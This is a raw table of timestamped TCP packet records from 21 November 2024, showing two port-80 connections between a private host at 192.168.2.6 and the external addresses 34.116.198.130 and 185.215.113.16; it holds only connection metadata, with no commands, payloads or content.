Nov 21, 2024 14:11:25.559165001 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.559933901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.560199976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.560278893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.561337948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.561394930 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.561431885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.561656952 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.562465906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.562558889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.563610077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.563795090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.563827038 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.564776897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.564851999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.564874887 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.565895081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.565963984 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.566004992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.566971064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.567030907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.569957972 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.570029020 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.570039988 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.570102930 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.570352077 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.570411921 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.570422888 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.570487022 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.570487022 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.571132898 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.571186066 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.571197987 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.571218014 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.571842909 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.571933985 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.572005033 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.572020054 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.572091103 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.572705030 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.572786093 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.572798014 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.572819948 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.573506117 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.573535919 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.573566914 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.573580027 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.573627949 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.573627949 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.574307919 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.574395895 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.574409008 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.574429989 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.574459076 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.575073004 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.575126886 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.575139999 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.575162888 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.575841904 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.575860023 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.575922966 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.575934887 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.575989008 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.575989008 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.576677084 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.576724052 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.576735973 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.576757908 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.577436924 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.577476025 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.577497005 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.577508926 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.577846050 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.578249931 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.578306913 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.578319073 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.578383923 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.578383923 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.579000950 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.579066992 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.579080105 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.579824924 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.579842091 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.579874039 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.579885960 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.579936028 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.579936028 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.580596924 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.580647945 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.580658913 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.580679893 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.581372023 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.581403017 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.581440926 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.581453085 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.582165956 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.582197905 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.582218885 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.582231045 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.582278013 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.582411051 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.583003044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.583071947 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.583081961 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.583112955 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.583787918 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.583822012 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.583854914 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.583872080 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.583880901 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.584553957 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.584587097 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.584609985 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.584619999 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.584651947 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.585364103 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.585396051 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.585397005 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.585406065 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.585426092 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.586133003 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.586160898 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.586189985 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.586200953 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.586983919 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.587016106 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.587218046 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.587256908 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.587266922 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.587281942 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.587840080 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.588068008 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.588078976 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.588088036 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.588119030 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.588885069 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.588960886 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.588972092 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.588994026 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.589306116 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.589565039 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.589612961 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.589622974 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.589670897 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.590341091 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.590393066 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.590399981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.590409040 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.590465069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.590465069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.591171980 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.591218948 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.591229916 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.591248989 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.591849089 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.591907024 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.591967106 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.591978073 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.592022896 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.592024088 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.592736959 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.592804909 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.592818022 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.592840910 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.593491077 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.593524933 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.593564987 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.593576908 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.593635082 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.593635082 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.594300985 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.594382048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.594393969 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.594414949 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.595062017 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.595093012 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.595108986 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.595120907 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.595170021 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.595170021 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.595876932 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.595930099 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.595942020 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.596668005 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.596695900 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.596703053 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.596707106 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.597410917 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.597445011 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.601028919 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.619849920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.699367046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.699456930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.699711084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.699798107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.700357914 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.700830936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.700877905 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.700948954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.701973915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.702100992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.702114105 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.702781916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.702884912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.702938080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.703849077 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.703910112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.704005003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.705029964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.705095053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.705137014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.706175089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.706231117 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.706269026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.707320929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.707349062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.707417965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.707956076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.708489895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.708616972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.709311008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.709605932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.709666967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.710037947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.710746050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.710859060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.711777925 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.711850882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.711962938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.712162971 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.713047028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.713165998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.713212013 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.714158058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.714281082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.714371920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.715262890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.715374947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.715826035 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.716430902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.716620922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.717545986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.717768908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.718126059 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.718683004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.718702078 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.718776941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.718949080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.719789028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.719824076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.719898939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.720086098 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.720977068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.721081972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.721497059 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.722105980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.722227097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.723236084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.723305941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.723349094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.723650932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.724379063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.724401951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.725327969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.725492001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.725600004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.725804090 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.726778984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.726876974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.727799892 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.727858067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.727996111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.728132963 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.728966951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.729227066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.729521036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.730034113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.730138063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.731195927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.731210947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.731290102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.731339931 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.732964039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.733285904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.733441114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.733542919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.733582020 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.734596014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.734714985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.734858036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.734858036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.735718012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.735824108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.736855030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.736973047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.737426996 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.737988949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.738058090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.738296032 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.738616943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.739131927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.739245892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.740272999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.740319967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.740359068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.740890980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.741421938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.741483927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.741693974 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.742548943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.742655039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.743694067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.743805885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.743844986 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.743936062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.744822979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.744951963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.745946884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.746002913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.746032953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.747092009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.747121096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.747248888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.747950077 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.748250961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.748306036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.748666048 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.749397039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.749490976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.750503063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.750596046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.750633955 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.750953913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.751652002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.751735926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.751883030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.752788067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.752899885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.753021002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.753979921 CET	80	49903	34.116.198.130	192.168.2.6
